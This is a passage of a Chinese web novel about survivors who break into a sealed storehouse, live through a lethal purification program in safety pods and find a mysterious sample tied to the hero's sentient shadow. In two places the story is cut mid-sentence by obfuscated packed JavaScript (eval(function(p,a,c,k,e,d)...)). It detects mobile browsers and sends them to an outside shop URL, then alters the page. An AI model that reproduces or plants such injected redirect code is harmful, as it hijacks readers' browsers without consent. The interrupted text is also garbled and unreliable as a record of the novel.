是他的错觉?还是…这黑暗的生活区里,真的有除了他们之外的什么东西,被这开门的声音…惊动了? 阿木也几乎在同一时间转过头,眼神锐利如鹰,手中的砍刀微微抬起。 林岚脸色发白,下意识地靠近了昏迷的小豆。 雷烬深吸一口气,低喝道:“先进缓冲间!快!” 储备库的门已经打开,希望就在眼前。但身后的黑暗中,似乎有什么东西,正在悄然苏醒。 14. 封存之物 缓冲间的空气冰冷刺骨,比走廊里更加干燥,特种塑料和金属的气味混合着那股淡淡的化学防腐剂味道,形成一种独特的、带着工业 sterile(无菌)感的冰冷气息。火把的光在这里显得微弱,但足以照亮这个狭小的空间。 正对面就是那道透明的聚合物观察窗,异常洁净,几乎没有任何灰尘或水汽凝结,显然材质特殊,且内侧有防雾或自洁功能仍在微弱生效。窗后是真正的B-7储备库,比想象中要深,呈长方形,约有半个篮球场大小。内部光线非常昏暗,只有几盏嵌入天花板、散发着惨淡蓝色微光的应急灯提供着最低限度的照明,让一切笼罩在一片冰冷的蓝灰色调中。 库内整齐排列着数十排高大的金属货架,大部分都空空如也,落满厚厚的灰尘,显示出岁月和废弃的痕迹。然而,在靠近观察窗的几排货架,以及库房最深处靠墙的一片区域,情况截然不同。 那些货架上,整整齐齐地码放着大小统一的灰色金属箱,箱子表面有编码和简单的图标。箱子数量不少,粗略估计也有上百个。货架之间的地面干净无尘,显然有独立的清洁或密封系统仍在局部运作。而最深处那片区域,则被一层若有若无的、流动的淡白色低温雾气笼罩着,雾气后方,隐约可见几个更加庞大、结构复杂的金属柜或培养舱一样的装置轮廓。 希望!真的有封存的物资! 但顾风的注意力却被另一些东西吸引了。在那些满载的货架之间,以及靠近观察窗的地面上,散落着一些……**不协调**的东西。 几套叠放整齐、但款式老旧、印着“绿洲-第三区”字样的橘黄色防护服。几个倒在地上的、同样老式的空气过滤面罩。一些工具,如激光切割笔、分子焊接器(都已失效),还有几个打开的、里面空空如也的运输小推车。最引人注目的是,在观察窗正下方的库内地面上,有一个用胶带贴出的、歪歪扭扭的“X”标记,旁边散落着几个空的注射器和几个碎裂的小玻璃瓶,瓶身上的标签已经模糊。 这些痕迹表明,在某个时刻,曾有人在这里活动,穿着防护装备,使用工具,甚至可能进行过注射或取样。然后,他们离开了,或者……留下了。 “物资…”老陈趴在观察窗上,贪婪地看着那些金属箱,眼中短暂地恢复了一丝生气,“密封箱…看图标…有医疗急救包…高能营养剂…可能还有水循环净化模块配件…太好了…小豆有救了…” “怎么进去?”雷烬更关心实际问题。缓冲间除了进来的密封门,只有这道观察窗,侧面没有其他入口。观察窗本身看起来异常坚固,而且是整体嵌合的,没有可见的开启机构。 阿木在缓冲间侧面墙壁上摸索,很快找到了一个隐藏的控制面板,同样是黯淡无光。他尝试了几个物理开关,毫无反应。“电力中断,或者被锁死了。” 林岚则盯着库内那些痕迹,眉头紧锁,她靠近观察窗,鼻子几乎贴在冰冷的聚合物上,仔细嗅闻,然后脸色变得更加难看。“那防腐剂的味道…下面还混着别的…很淡…但…是‘摇篮’里处理‘重度污染样本’时用的‘涅槃剂’的气味…怎么会在这里…” 顾风此时已将大部分注意力从库内收回,转而更加警惕地感知着身后密封门外的黑暗走廊。刚才那声细微的刮擦声让他无法释怀。他悄悄移动到密封门旁,侧耳倾听。 寂静。死一般的寂静。连之前那微弱的“嗡”声似乎都消失了。 但顾风那种特殊的、对“痕迹”的感知,却在告诉他,门外的走廊里,有什么东西正在“沉淀”或“流动”。不是实体移动的声音,而是某种…冰冷的、带着恶意的“存在感”,正在从生活区深处的黑暗里,向着他们这个方向…**弥漫**过来。 “我们时间不多。”顾风压低声音,转向雷烬,“外面…有东西过来了。感觉…很不好。” 雷烬眼神一凛。阿木立刻握紧砍刀,站到了密封门内侧,做出防御姿态。林岚迅速将小豆安置在缓冲间角落,自己手持匕首守在旁边。老陈则吓得缩成一团。 “必须尽快进去,拿到东西,然后离开。”雷烬快速决策,目光再次投向观察窗和控制面板,“阿木,强行破窗有没有可能?” 阿木上前,用刀背敲了敲观察窗,发出沉闷坚实的“咚咚”声。“很厚,特殊材料。强行破坏需要时间,而且声音会很大。” 顾风的大脑飞速运转。观察窗无法轻易打破。控制面板失效。密封门从外面可以机械开启,但从里面呢?他回忆进来时的细节。密封门内侧似乎也有一个类似的小型机械锁盘。如果外面有东西逼近,他们或许可以重新锁死这道门,但也就被困在这个缓冲间和可能无法进入的储备库前了。 顾风心想:如何进入储备库?常规方法(电力、暴力)都不可行或风险极高。 1.库内有活动痕迹(防护服、工具、注射器),说明在某个时刻,有人需要穿戴防护进入,且可能进行了操作(注射/取样)。 2.标记“X”和空注射器,暗示可能有一个特定的“进入点”或“操作点”。 3.林岚提到“涅槃剂”气味,用于处理重度污染样本。 4.自己的影子对库内环境(尤其是低温雾气区域)有强烈反应。 逆向推理:如果库内封存的不仅仅是普通物资,还可能包含危险样本(需要“涅槃剂”处理),那么其开启方式可能非同寻常,甚至…需要某种“验证”或“代价”。那些穿着防护服的人,可能不是来取物资,而是来处理或检查样本的。他们留下的痕迹,或许是一种“操作指南”或“失败记录”。 观察焦点转移:顾风不再只看货架和门锁,而是仔细审视库内地面那个“X”标记上方的区域。在惨淡的蓝色应急灯光下,他注意到,“X”标记正上方的天花板,似乎有一块区域的颜色和材质与周围略有不同,更加光滑,边缘有极细微的缝隙。像是一个…隐蔽的接口或通道口? 建立假那个“X”标记,可能是下方地面某个“接收点”或“对接点”的标志。上方的天花板接口,或许是某种非接触式的验证或传输通道。需要验证什么?身份?权限?还是…某种“状态”? “雷哥,”顾风指着观察窗内那个“X”标记和上方的天花板,“那里可能是一个入口,或者…某种交互接口。那些穿防护服的人留下的痕迹,也许是在尝试使用它,或者…失败了。”他顿了顿,说出更大胆的猜想,“这个储备库,可能不止是储存物资。它封存的东西里,有需要特别处理的危险品。进入方式,可能不是传统的开门。” 雷烬和阿木都顺着顾风指的方向看去。林岚也恍然:“对…如果是存放普通应急物资,没必要用到‘涅槃剂’这种级别的消毒防腐剂…除非里面有生物危害或高污染性灵能残留物…” “就算那里是入口,我们怎么从这边过去?”阿木沉声问出关键。 顾风的目光落在缓冲间内那些散落的工具上。激光切割笔、分子焊接器都失效了。但他的目光,最终停留在墙角一个不起眼的、半打开的金属工具箱里。里面除了锈蚀的普通工具,还有一个巴掌大小、形状像老式遥控器、带有几个简单按钮和一根短小伸缩天线的设备。设备上落满灰,但看起来比那些精密工具保存得稍好。 他走过去捡起来,拂去灰尘。设备侧面有个小小的标签,写着“低频共振调谐器-型号:LR-S3(短距非接触式接口激活)”。 “这个!”顾风眼睛一亮,“可能是用来激活或校准某些非接触式接口的!那些人留下的,也许不是失败,而是…留下了工具!” 他立刻尝试按下设备上的电源键。毫无反应。电池早已耗尽。 “需要能量…”顾风皱眉。他们的火把、武器,都没有合适的能源。灵珠…灵珠或许可以?但怎么连接? 他看向自己手中的淡金色灵珠,又看了看那个调谐器。调谐器背面有一个标准的微型能源接口,但型号古老。顾风身上没有任何适配器。 (智慧体现:资源整合与风险决断) 困境:找到可能的方法(调谐器),但缺乏能源。 可用资源盘点:灵珠(能量源但接口不匹配)、环境(低温、可能存在微弱残余能量场)、自身异变(影子对库内环境有反应)。 联想:影子能吸收黑暗能量,对库内环境有渴望。灵珠的能量能被身体吸收,也能被影子“消化”一部分。那么,能否以自己的身体或影子为“中转站”或“适配器”,将灵珠的能量引导出来,以一种更原始、更接近“灵能”或“生命能量”的形式,尝试激活那个调谐器? 风险:未知。可能浪费宝贵的灵珠,可能引发影子失控,可能招致库内或门外更强烈的危险。 决断:时间紧迫,门外威胁逼近,常规方法无效。必须冒险一试。 “我需要试试。”顾风对雷烬说,语气坚决,“用灵珠,和我自己的…‘问题’,试试能不能给这东西供能。你们帮我警戒,尤其是门外。” 雷烬深深地看了顾风一眼,看到了他眼中的决意和潜藏的紧张。他没有多问,只是点了点头:“阿木,看住门。林岚,注意库内和顾风的情况。老陈,别出声。” 顾风深吸一口气,将那颗淡金色灵珠紧紧握在左手掌心,右手拿起那个低频共振调谐器。他闭上眼睛,努力摒弃杂念,尝试去“感受”灵珠中那股温润却坚韧的能量流。 能量流顺着手臂经脉缓缓流淌,滋养着他疲惫的身体。他努力用意念去“引导”这股能量,不是流向全身,而是尝试“溢出”体表,流向右手握着的调谐器。 起初毫无反应。能量在体内循环,却似乎被皮肤牢牢锁住。 顾风感到焦急。门外的“存在感”越来越近了,一种无形的压力开始透过密封门缝隙渗透进来。 就在这时,他脚下的影子,似乎感应到了他的急切和灵珠能量的活跃,猛地**躁动**起来!那股冰冷的、贪婪的意念再次升起,这次更加清晰,目标直指他左手掌心的灵珠! 顾风没有压制它。反而,他做了一个大胆的尝试——主动将一部分意识“沉入”与影子的那种微妙联系中,不是对抗,而是…**引导**。他将灵珠的能量,主动“分享”了一小缕给影子。 瞬间,他感到脚下的黑暗“活”了过来!影子颜色骤然加深,如同墨汁晕染,边缘剧烈波动,一股冰冷却磅礴的吸力传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【备用方案检索…检索到最后一次手动操作记录:操作员编号7741,生物样本提取后未按规定完成净化闭环。遗留外部接口处于半激活状态。】 【尝试重新建立外部接口连接…连接中…】 “外部接口?”林岚惊疑不定。 顾风猛地看向缓冲间内,那个被他们忽略的、通往储备库的观察窗侧面的墙壁。在那里,一块原本严丝合缝的金属板,正在某种机制作用下,无声地向内滑开,露出后面一个仅容一人弯腰通过的、黑漆漆的管道口!管道口边缘闪烁着微弱的红色指示灯。 这就是“外部接口”?那个操作员7741留下的、未关闭的后门? “走!”雷烬当机立断,“从那个管道进去!阿木,堵门!林岚,带小豆和老陈先走!顾风,跟上!” 阿木怒吼一声,全身肌肉贲张,用肩膀和整个身体顶住密封门。门外传来巨大的撞击力,整个门框都在震颤,灰尘簌簌落下! 林岚毫不犹豫,一把拉起几乎瘫软的老陈,另一只手艰难地搀扶起小豆,踉跄着冲向那个打开的管道口,弯腰钻了进去。 顾风看了一眼手中光芒急速黯淡、仿佛能量被瞬间抽干的调谐器,又看了一眼左手掌心同样光泽暗淡了许多的淡金色灵珠,最后看了一眼门外那越来越恐怖的撞击声和阿木咬牙坚持的背影。 他不再犹豫,将调谐器扔掉,紧握灵珠,冲向管道口。在钻进去的前一刻,他回头对雷烬和阿木大喊:“快进来!” 雷烬拄着拐杖,深深看了一眼阿木。阿木背对着他们,从喉咙里挤出两个字:“走!” 雷烬一咬牙,也钻进了管道。 顾风紧随其后。管道内一片漆黑,狭窄潮湿,弥漫着浓重的铁锈和机油味。他只能摸着冰冷的管壁,跟着前面林岚他们模糊的身影和喘息声向前爬。 身后,缓冲间方向,传来密封门被暴力撞开的轰然巨响!然后是阿木的一声暴喝,以及兵刃砍中某种坚韧物体的闷响,和更加非人的、愤怒的咆哮! 阿木,留下了。 管道似乎并不长,向前爬行了大概十几米,前方出现微光。他们跌跌撞撞地从管道另一头滚了出来,摔在冰冷坚硬的地面上。 这里,正是B-7储备库内部。他们就在那几排满载的货架旁边,距离那个“X”标记和仍在闪烁血红光芒的扫描区域不远。库内低温雾气的寒意瞬间包裹了他们。 身后管道口,隐约还能听到战斗的声响,但迅速减弱、远去,仿佛被厚重的库体隔绝。 他们进来了。但代价是阿木独自断后。 而眼前,储备库内,除了那些救命的密封箱,还有在低温雾气中若隐若现的庞大装置轮廓,以及那个仍在发出冰冷警告的电子合成音: 【外部接口强制连接完成。污染源已进入隔离区。启动净化倒计时:300秒。】 【警告:净化程序将释放高浓度‘涅槃剂’与强能量脉冲。未受保护生命体将无法存活。】 【请授权人员立即前往主控制台终止程序或进入安全舱。重复,请授权人员…】 倒计时,五分钟。 他们进入了希望之地,却也踏入了致命的净化程序之中。阿木生死未卜,门外怪物随时可能突破,而库内,等待他们的不仅是物资,还有三百秒后毁灭一切的净化。 顾风挣扎着爬起,看向库房深处那片低温雾气。安全舱?主控制台?在哪里? 他的影子,在库内幽蓝的应急灯光和扫描红光的交替映照下,投在冰冷的地面上,拉出长长的、扭曲的、仿佛在**狂喜颤抖**的诡异形状。 15. 三百秒 【285秒…284秒…283秒…】 冰冷的电子倒计时如同丧钟,在空旷的储备库内无情地回响,每一下都敲在众人紧绷的神经上。幽蓝与血红交织的光线中,每个人的脸都被映照得诡异而苍白。 最先反应过来的是林岚。她强忍着对阿木的担忧和对净化程序的恐惧,目光迅速扫视四周。“安全舱!主控台!必须找到!”她的声音因为急促而尖利,“涅槃剂加能量脉冲…没有防护,我们会在几秒内细胞崩解!” 库房很大,货架林立,视线受阻。更深处那片被低温雾气笼罩的区域,是最大的未知。 “分头找!”雷烬当机立断,尽管拄着拐杖的手在微微颤抖,但他的声音依然稳定,带着不容置疑的权威,“林岚,你懂这些,找主控台或控制面板!顾风,你看左边货架后面!老陈,右边!注意任何看起来像门或者控制台的东西!快!” 时间紧迫,没人质疑。林岚立刻冲向最近的一排货架,目光掠过那些灰色密封箱上的图标和编码,同时拼命回忆着“摇篮”中见过的类似高危区域布局。顾风则向左跑去,绕过货架,视线在冰冷的金属和昏暗的光线中搜寻。老陈被雷烬一吼,哆嗦着也往右边挪去,眼神涣散,嘴里无意识地念叨着。 顾风一边快速搜索,一边分神感知着自己影子的状态。进入库内后,影子的“兴奋”达到了一个前所未有的峰值。它不再仅仅是颜色加深或边缘波动,而是仿佛有了“重量”和“温度”——冰寒刺骨的“温度”。它紧紧吸附在地面上,随着他的移动而拉长变形,但在那低温雾气飘来的方向,影子似乎总想“挣脱”他的脚下,向那边“流淌”过去。一股冰冷而饥渴的意念,如同细微的冰针,不断刺探着他的意识边缘。 他必须用极大的意志力才能控制自己不去看那片雾气,不去“倾听”影子的低语。 【240秒…239秒…238秒…】 “这里!”林岚的呼喊从库房中部靠右的位置传来。她站在一个比其他货架略矮、但结构更复杂的金属操作台前。操作台表面覆盖着厚厚的灰尘,但几个物理按钮和一个小小的、同样是黯淡的屏幕依稀可辨。旁边还有一个嵌入式的卡槽和几个不同颜色的接口。 “像是局部控制终端,但没电!”林岚快速检查,“需要启动能源!或者…权限卡!” 权限卡?哪里去找? 就在这时,一直浑浑噩噩的老陈,在走到右侧靠近低温雾气边缘的一个货架时,脚下被什么东西绊了一下,踉跄摔倒。他手忙脚乱地爬起来,却看到绊倒自己的,是一个半埋在灰尘里的、橘黄色的防护服上衣。衣服口袋里,似乎有什么硬物硌着。 老陈鬼使神差地伸手掏去,摸到了一个冰凉的长方形硬物。拿出来一看,是一张灰色的、带有磁条和芯片的身份卡。卡片一角印着模糊的字迹:【绿洲-第三区-维护技术员-编号:7741】。 7741!那个未完成操作、留下后门的操作员! “卡…卡!”老陈嘶哑地喊了一声,连滚爬爬地将卡片扔向林岚的方向。 林岚眼疾手快接住,也看到了编号。她来不及多想,迅速在控制台上找到卡槽,用力将卡片刷过! “嘀…权限验证中…”控制台内部传来极其微弱、仿佛随时会断气的电子音,“编号7741…权限状态:已失效(操作员失踪/推定死亡)…尝试调用最后一次有效操作记录关联权限…” 屏幕闪烁了几下,竟然亮起了一丝极其暗淡的、布满雪花的灰白光芒!显示出几行断断续续的文字和简图。 【最后记录:样本‘Z-07’稳定性监测…生物读数异常升高…建议启动深度冻结协议…操作员7741备注:‘它’在回应外部信号…必须报告…】 【关联协议:允许临时调用B-7区次级安全系统(限时)。】 【次级安全系统状态:能源不足(3%)。可用功能:环境监测(局部)、安全舱状态查询、净化程序进度显示。无法终止或修改主净化协议。】 屏幕上出现了库房的简化平面图,几个绿点代表他们四人的位置(显然有生物监测),一个红色的区域在低温雾气深处标记为“样本封存核心”,还有一个黄色的、不断闪烁的倒计时。另外,在平面图的角落,标出了三个小小的蓝色方块,旁边标注“应急安全舱(单人生存模式)”。 安全舱!有三个!但,单人生存模式? “安全舱位置显示出来了!”林岚急道,“离我们最近的一个在…左前方,第三个货架后面!另外两个在更里面,靠近样本区!” 【180秒…179秒…178秒…】 三个安全舱,四个人(算上外面生死未卜的阿木,是五个)。单人生存模式。 残酷的选择瞬间摆在面前。 雷烬的目光扫过林岚、顾风、瑟瑟发抖的老陈,以及躺在地上依旧昏迷的小豆。他的眼神剧烈波动了一下,但立刻被钢铁般的决断取代。 “林岚,带小豆进最近的那个安全舱。”雷烬的声音斩钉截铁,“顾风,你带老陈,去另外两个中的一个。快!” “雷哥!那你…”林岚急道。 “我走不快,会拖累你们。我去找主控台,试试能不能用这残存权限做点什么,或者…看看有没有别的办法。”雷烬打断她,语气不容反驳,“这是命令!走!” 顾风看着雷烬苍白却坚毅的脸,知道他不是在逞英雄,而是在做队长最残酷也最必要的抉择——最大化保存有生力量。林岚是技术核心,小豆是伤员需要保护,老陈…虽然没用,但也是队伍一员。而他自己…雷烬或许认为,拥有特殊“问题”的顾风,生存几率更高,也应该承担更多。 没有时间犹豫和煽情。 林岚眼中含泪,一咬牙,俯身艰难地背起小豆,朝着屏幕上指示的最近的安全舱位置冲去。老陈也被顾风一把拽起,踉跄着跟着顾风,向着第二个相对近一些的安全舱方向(在第一个安全舱侧后方)跑去。 雷烬则拄着拐杖,快速扫视屏幕上的平面图,记下主控台可能的大致方位(通常靠近样本核心区),然后头也不回地、一瘸一拐地朝着低温雾气更深处走去。他的背影在幽蓝与血红的光线下,显得孤绝而悲壮。 【120秒…119秒…118秒…】 顾风拖着老陈,在货架间穿梭。第二个安全舱的位置需要绕过好几排货架,距离不近。他能听到自己和老陈粗重的喘息,心脏在胸腔里疯狂擂鼓。倒计时的声音如同死神的脚步声,越来越近。 突然,跑在前面的老陈又是一绊,这次直接摔倒在地,爬不起来了。他捂着胸口,脸色青紫,呼吸艰难,显然极度的恐惧和运动让他本就脆弱的心脏不堪重负。 “起来!快到了!”顾风低吼,试图拉他。 老陈却只是绝望地摇头,手指颤抖地指向旁边一个货架的底部缝隙,喉咙里发出嗬嗬的气音:“那…那里…照片…” 顾风顺着他指的方向看去,在货架与地面的缝隙阴影里,似乎有一小角彩色的东西。他本能地觉得不对,但老陈的状态让他无法立刻离开。 他蹲下身,用短刀小心地将那东西拨了出来。是一张被塑料膜保护着、但仍然有些磨损的家庭合影照片。照片上,年轻许多、穿着工程师制服的老陈,搂着一个温婉的女人,中间是一个笑得灿烂的小女孩,手里拿着一株闪着微光的蓝色小草——“星星草”。幸福洋溢。 而在照片背面,用笔写着:“给小芸:爸爸爱你,永远。项目顺利的话,我们很快就能生活在真正的‘绿洲’里了。——陈工,新元7年4月11日” 新元7年…是大崩溃前最后相对稳定的几年。4月11日…就是维护站启用(0412)的前一天。原来,老陈在项目启动前夕,还在憧憬着给女儿一个美好的未来。 **(老陈回忆触发:照片与绝望中的最后线索)** *这张照片,是他进入维护站前,偷偷塞进贴身口袋的。他想等项目顺利,给女儿一个惊喜。然后,大崩溃,地狱降临,维护站里的噩梦…妻子病死,女儿失散…这张照片,不知何时失落在这里,被灰尘掩埋。 *看到照片的瞬间,那些被他强行封闭的痛苦记忆和更深层的、关于这个项目的**怀疑**,如同决堤的洪水般冲垮了他最后的心理防线。 **他想起了项目启动前一些不寻常的迹象:过于严格的保密协议,某些区域的访问权限连他这样的核心工程师都无法获得,偶尔听说的、从其他“摇篮”前身设施转运来的“特殊样本”,以及上级在一次内部通气会上含糊提及的“为了人类进化的必要代价”…* **当时他沉浸在项目成功和自己小家庭的幸福中,刻意忽略了这些疑点。但现在,联系“摇篮”的气味,库内封存的危险样本,要人性命的净化程序…一个可怕的念头浮现:也许,“绿洲”项目从来不是为了建造避难所,而是…一个**大型实验场**?他们这些工程师、技术人员,甚至后来涌入的幸存者,都是…**实验的一部分**?大崩溃…会不会也与之有关?* *极致的恐惧,混合着被欺骗的愤怒、对家人的愧疚、以及自身无能为力的绝望,彻底吞噬了他。他看向顾风,眼神涣散,却又仿佛回光返照般抓住顾风的手臂,用尽最后力气嘶声道:“…都是…骗局…样本…Z-07…它在…呼唤…像你…影子…”说完,他眼睛一翻,彻底晕了过去,心跳微弱。 像我的影子?顾风心头巨震。老陈临晕倒前的话,像一道闪电劈开他心中的迷雾。这个储备库封存的“样本”,和他影子异变的根源有关?Z-07… 【60秒…59秒…58秒…】 没有时间了!顾风看了一眼近在咫尺(只剩两个货架距离)的第二个安全舱方向,又看了一眼晕倒的老陈和手里那张照片。 救他?可能两个人都赶不上安全舱。不救?扔下这个刚刚提供了关键线索、并且可能掌握更多“绿洲”项目内幕的人? 顾风眼神一厉。他不能见死不救,但也不能鲁莽。他猛地蹲下,用尽力气将老陈沉重的身体拖到旁边一个货架与墙壁形成的三角凹陷处,尽量让他远离可能直接受到净化冲击的通道。然后,他快速脱下自己的外套,盖在老陈身上,虽然知道这面对能量脉冲可能毫无用处,但聊胜于无。 做完这些,他转身,爆发出全部速度,冲向第二个安全舱! 【30秒…29秒…28秒…】 安全舱!他看到了!那是一个嵌在墙壁里的、圆筒状的银色金属舱体,舱门紧闭,表面有一个简单的绿色指示灯在微弱闪烁(表示可用)。旁边有一个红色的紧急开启按钮。 顾风扑到舱门前,狠狠按下按钮! “哧——”气压释放的声音,舱门向一侧滑开,露出内部狭窄的、只够一人蜷缩的空间,里面有几个简单的束缚带和一个呼吸面罩。 他毫不犹豫地钻了进去,反手猛拉舱门内部的关闭手柄! “咔哒!”舱门合拢,自动锁死。内部照明亮起,是柔和的白色。屏幕上显示:【应急安全舱已激活。生命维持系统启动。净化程序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081233|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏蔽场生成中…10%…】 【10秒…9秒…8秒…】 顾风透过舱门上一个很小的观察窗,看向外面。他看不到林岚和小豆的安全舱,也看不到雷烬,更看不到老陈。只能看到货架和远处幽蓝血红交织的光线。 他的影子,在进入安全舱的瞬间,仿佛被激怒了,疯狂地在他脚下(安全舱地面)扭动、膨胀,颜色漆黑如墨,甚至试图向舱壁“渗透”!安全舱内柔和的白色灯光,似乎对它产生了某种压制,让它发出无声的“嘶鸣”。 【3秒…2秒…1秒…】 【净化程序启动。】 没有惊天动地的爆炸。库房内,所有的应急灯光瞬间熄灭,陷入绝对的黑暗。紧接着,一种低沉到几乎感觉不到、却让整个舱体都微微震颤的“嗡”声充斥了一切。 顾风看到,观察窗外,整个库房空间,猛然被一种**粘稠的、惨白色的光芒**彻底淹没!那光芒仿佛有实质,如同液体般流淌、翻滚,所过之处,灰尘瞬间气化,金属货架表面发出“滋滋”的轻微腐蚀声。空气中,无数细密的、蓝白色的电火花疯狂跳跃、交织,形成一片毁灭性的能量场! 这就是“涅槃剂”加能量脉冲!足以净化一切生命和污染! 安全舱剧烈震动起来,内部屏幕上的屏蔽场生成进度疯狂跳动:【30%…50%…70%…】外部那惨白的光芒和电火花,不断冲击着舱壁,发出密集的、令人牙酸的刮擦和爆裂声! 顾风死死抓住舱内的固定把手,心脏几乎停止跳动。他能感觉到,安全舱的能量在飞速消耗,屏蔽场的强度在艰难地抵御着外部的净化洪流。 更可怕的是,他脚下的影子,在这极致的外部能量刺激和内部压制下,发生了**剧变**!它不再试图渗透舱壁,而是猛地**收缩**,缩回到他脚下极小的一团,颜色却凝练得如同黑洞,散发出冰冷刺骨的寒意。同时,一股清晰无比的、带着痛苦、愤怒和……**贪婪**的意念,直接冲入顾风的脑海! 那意念在“尖叫”:**“同类…封印…痛苦…能量…给我!”** 它想吸收外面的净化能量?还是想…与库内那个“Z-07”样本建立联系? 顾风头痛欲裂,眼前阵阵发黑,几乎无法维持清醒。他用尽全部意志对抗着影子的反噬和外部净化冲击带来的恐惧。 不知过了多久,也许只有十几秒,也许有一个世纪。外部的惨白光芒和电火花终于开始减弱、消散。 安全舱的震动渐渐平息。屏幕上的屏蔽场生成进度停在了【98%】,然后缓缓下降。舱内响起柔和的提示音:【外部净化程序结束。环境监测中…警告:检测到高浓度惰性涅槃剂残留与不稳定灵能辐射。不建议立即出舱。生命维持系统可持续时间:72小时。】 结束了。他们还活着…至少,在安全舱里的顾风和林岚(希望她和小豆也及时进入了)还活着。 雷烬呢?老陈呢?阿木呢? 顾风瘫坐在狭窄的安全舱里,浑身被冷汗浸透,剧烈喘息。他低头看向脚下。 影子恢复了“正常”的大小和形状,静静地伏在那里,颜色依旧深沉,但那种疯狂的意念已经退去,只剩下一种…**餍足后的沉寂**,以及一丝仿佛变得更加强大的、冰冷的“存在感”。 它似乎…从刚才的外部能量冲击中,**吸收**了什么。 舱外,库房重新被几盏幸存应急灯发出的、比之前更加暗淡的幽蓝光芒照亮。空气中漂浮着无数细小的、闪烁着微光的尘埃,那是涅槃剂残留。货架表面覆盖了一层灰白色的霜状物。整个空间弥漫着一种彻底“消毒”后的死寂,以及挥之不去的、淡淡的高能辐射气息。 顾风透过观察窗,努力看向老陈刚才所在的角落。那里被货架遮挡,看不真切。 他又看向低温雾气的方向。雾气似乎被净化程序驱散了大半,露出后面那些庞大装置的更多轮廓。那是几个连接着无数管线和电缆的、圆柱形的透明培养舱。舱内充满了浑浊的、暗绿色的保存液。而在最中央、最大的那个培养舱里…… 顾风的瞳孔骤然收缩! 他看到了一个模糊的、人形的轮廓,悬浮在保存液中。但具体细节,因为距离和光线,看不清楚。 那就是“样本Z-07”? 而就在这时,安全舱内的通讯器(原本以为是装饰)突然发出一阵刺耳的电流噪音,然后,断断续续地传来了雷烬虚弱而急促的声音,似乎来自库内某个尚未完全损坏的内部通讯节点: “…顾风…林岚…听到吗?我在…主控台附近…暂时安全…净化程序…好像激活了…别的系统…” 雷烬还活着! 但雷烬接下来的话,让顾风刚刚升起的一丝希望瞬间冻结: “…我看到阿木了…通过…库外走廊的备用监控…他…他还在战斗…但…对手不是…不是一个…是很多…影子一样的…东西…从生活区各个角落冒出来…阿木被包围了…他…” 通讯信号在此刻戛然而止,只剩下嘈杂的电流声。 阿木被影子一样的怪物包围了? 顾风猛地看向自己脚下那片沉寂的、却仿佛蕴藏着莫名力量的阴影。 库外,是影子的怪物。 库内,是可能与他影子同源的“样本”。 而他们,被困在这个刚刚经历毁灭性净化的坟墓里,与未知的辐射和残留毒剂为伴,外面是险恶的怪物,里面是诡异的秘密。 七十二小时。他们只有七十二小时的安全时间。 16. 豺狼与暗影 安全舱内的七十二小时,在绝对寂静与内心煎熬中缓慢流逝。最初是极致的疲惫和劫后余生的虚脱,顾风几乎是在检查完安全舱基本功能(空气循环、水循环、有限的食物补给——几管高能营养膏)后便沉沉睡去。但睡眠并不安稳,破碎的噩梦交织着影子冰冷的低语和老陈临终前扭曲的脸。 醒来后,便是漫长的等待与思考。他尝试通过安全舱简陋的内部系统查看外部环境数据:涅槃剂浓度缓慢下降,但仍致命;灵能辐射读数异常且波动,源头指向库房深处;温度恒定在低温;生命迹象扫描…只显示他自己和隔壁安全舱(林岚与小豆)有微弱信号,雷烬的位置信号断断续续,老陈…没有信号。 他大部分时间用来对抗影子的变化。净化程序后,影子并未“安静”,反而像是被祛除了某种“杂质”,变得更加凝练、敏锐,与顾风意识的连接也越发紧密而…具有侵蚀性。它不再只是无意识地蠕动或表达模糊的渴望,而是开始传递一些碎片化的、冰冷而扭曲的“感知”——对库房深处辐射源的“好奇”,对外界残留涅槃剂的“厌恶”,甚至…对隔壁安全舱中林岚和小豆生命能量的、一种极其隐晦的“打量”。 顾风必须时刻保持精神集中,像握住一条冰冷滑腻、随时可能反噬的毒蛇。他开始尝试主动去“理解”影子,而不是单纯压制。他将意识像细丝一样探入那种冰冷的连接,忍受着令人作呕的阴寒和混乱的碎片信息冲击,试图解读影子从外部环境“吸收”了什么,以及它与Z-07样本之间那莫名的联系。 渐渐地,他捕捉到一些模糊的“意象”:无尽的黑暗、冰冷的束缚、尖锐的痛苦、以及…一种对外界“同类”或“共鸣”信号的渴望。Z-07似乎处于一种非生非死的“禁锢”状态,但它残留的意识或能量场,仍在微弱地“广播”着某种信号。而顾风的影子,正是接收到了这种信号,才产生强烈反应。这信号…似乎与“灵能”的某种特定频段有关。 另一边,雷烬在主控台区域的经历更为凶险。净化程序启动时,他躲进了一个存放维修工具和部分零配件的金属壁柜,壁柜材质特殊,在一定程度上隔绝了能量脉冲的直接冲击,但涅槃剂的渗透和辐射仍让他本就虚弱的身体雪上加霜。净化结束后,他挣扎着爬出,依靠顽强的意志力,利用主控台残存的局部电源和7741卡片遗留的次级权限,艰难地恢复了一小部分监控和内部通讯。 他看到了阿木最后的战斗——那个沉默如石的男人,在生活区走廊里,被十几个从墙壁阴影、地面裂缝、甚至通风口蠕动着钻出的、形态不定的暗影怪物包围。那些怪物没有固定形状,像粘稠的沥青或扭曲的烟雾,但能伸出尖锐的触须,攻击迅捷,且似乎对物理伤害有一定抗性。阿木挥舞着砍刀,怒吼着,每一刀都斩断大片黑影,但黑影散去又凝聚,数量似乎无穷无尽。战斗持续了不知多久,监控画面因能量干扰时断时续。最后一个清晰的画面,是阿木砍翻了一个特别巨大的黑影,却被身后另一个黑影的触须刺穿了肩膀,他反手一刀斩断触须,踉跄退向通往储备库的密封门方向…然后画面彻底消失。 